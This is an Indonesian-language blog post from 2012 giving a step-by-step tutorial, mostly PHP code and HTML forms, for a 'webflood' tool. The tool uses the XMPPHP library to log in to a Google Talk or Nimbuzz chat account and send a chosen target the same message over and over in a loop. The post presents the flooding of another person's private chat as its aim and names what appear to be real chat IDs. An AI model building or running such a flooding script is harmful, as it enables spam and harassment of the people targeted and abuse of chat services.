Selamat datang di blog saya, saya menyediakan berbagai tips maupun info tentang internet maupun pelajaran, terima kasih atas kunjungannya dan maaf blog ini tersedia hanya pelajaran saya saja, Welcome to my blog, I provide a variety of tips and info on the internet as well as lessons, thanks for visiting and sorry this blog is available only lesson I have 1
Get Gifs at CodemySpace.com
Subscribe:

Subscribe Now: poweredby

Powered by FeedBurner

Wednesday 1 February 2012

Cara membuat script webflood

Pertama-tama silahkan download aplikasi webserver seperti xampp, appserv, IIS dll. Disini saya mengguanakan xampp yang bisa anda download di www.xampp.org. Setelah download silahkan extract dan install.

lalu untuk script xmpphp silahkan download xmpphp di http://code.google.com/xmpphp. Saya memilih xmpphp-0.1rc2r77.zip. Lalu extract dan akan terdapat folder berikut


Buatlah sebuah folder pada direktori c:\xampp\htdocs (jika anda menggunakan xampp) dengan nama webflood. Setelah itu buka file sendmessage_example.php dengan notepad.

script 1
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('talk.google.com', 5222, 'username', 'password', 'xmpphp', 'gmail.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('someguy@someserver.net', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Keterangan script 1:
talk.google.com = nama host dari server google talk
5222 = nomer port yang digunakan untuk berkomunikasi
username = nama user ID chat anda
password = password user ID chat anda
xmpphp = nama resource / aplikasi chat /chat client yang kita pakai
gmail.com = nama server dari google talk

Coba masukkan ID chat, password anda. Dalam hal ini saya akan mencoba mengirimkan 1 private chat dari eguzta@nimbuzz.com ke kuplukmalik@nimbuzz.com

script 2
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('openfire.nimbuzz.com', 5222, 'kuplikmalik', '******', 'xmpphp', 'nimbuzz.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('kuplukmalik@nimbuzz.com', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save script di atas dengan nama script2.php dan simpan pada folder c:\xampp\htdocs\webflood. Setelah itu aktifkan apache pada xampp anda. Buka browser anda dan masukkan url berikut http://localhost/webflood/coba.php. Lalu akan terkirim sebuah pesan dari eguzta@nimbuzz.com/xmpphp kepada kuplukmalik@nimbuzz.com berisi "This is a test message!"


Keterangan script 2:
Ganti eguzta dengan ID chat nimbuzz anda. Ganti ***** dengan password chat nimbuzz anda. Ganti kuplukmalik@nimbuzz.com dengan user ID chat yang anda tuju.

Berhenti di sini jika percobaan anda gagal. Karena ini merupakan hal dasar untuk membuat script webflood selanjutnya. Jika anda tetap mengalami kegagalan di sini coba cek versi php anda apakah di bawah php versi 5.2.6, karena versi minimum php yang di butuhkan adalah 5.2.6. Versi php pada xampp saya adalah versi 5.3.1.

Sekarang mari kita membuat hal ini lebih mudah dalam hal interface nya.
Disini saya akan membuat sebuah interface dari html bukan menyatukan scriptnya menjadi 1 dengan php karena menurut pendapat saya perulangan / looping secara terpisah seperti ini akan membuat script melakukan looping lebih ringan daripada dijadikan satu.

script 3
<html><body>
<form method="post" action="coba1.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Simpan dengan nama coba1.html dan save pada direktori webflood tadi
Keterangan script 3:
Tidak ada, karena saya kira anda sudah memahami script html yang sederhana ini. Mengenai penjelasan mengapa saya tetap memasukkan textbox port, server dan host yang memiliki nilai tetap jika saya menggunakan server nimbuzz? Hal ini karena nantinya kita juga akan berbicara mengenai flooding ke server lain selain server nimbuzz. Just do it !!

script 4
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message($to, $body);
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

save dengan nama coba1.php pada direktori webflood.
Keterangan script 4:
Disini saya hanya melakukan declare variable agar kita bisa dengan mudah mengubah username, password, dll.

Sekarang coba buka browser anda dan tulis url http://localhost/webflood/coba.html. Dan masukkan data seperti data pada script 2


Lalu klik submit. Maka kancut_tonggo akan mengirimkan 1 private chat kepada plonk5638. Bila tidak ada pesan yang terkirim, tolong ulangi lagi sampai berhasil, karena ini masih dasar.

Flooding Private Chat
Sekarang kita beranjak ke flood private chat dengan melakukan looping / perulangan pada jumlah tertentu. Di sini kita akan menambahkan textbox jumlah dan script looping yaitu

script 5:
for ($i = 1; $i <=$jumlah; $i++)

Keterangan script 5:
script ini akan memerintahkan untuk melakukan perulangan sebanyak variabel jumlah.

Sekarang kita masukkan textbox untuk menambahkan jumlah pada coba1.html. Sehingga menjadi:

script 6
<html><body>
<form method="post" action="coba2.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Jumlah Flood:<input type="text" name="jumlah"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Copy script di atas dan save dengan nama coba2.html

Keterangan script 6:
Disini saya cuma menambahkan textbox jumlah untuk menentukan jumlah flood yang akan kita kirimkan

script 7
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
$jumlah=$_POST['jumlah'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
for ($i = 1; $i <=$jumlah; $i++)
{
$conn->message($to, $body);
}
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save dengan nama coba2.php. Lalu masuk seperti biasa test script ini. Jika berhasil maka 10 private chat akan terkirim.


hahahahaha.......



0 comments:

Post a Comment

https://www.facebook.com/jefrynews.markusers?ref=tn_tnmn

Comment Box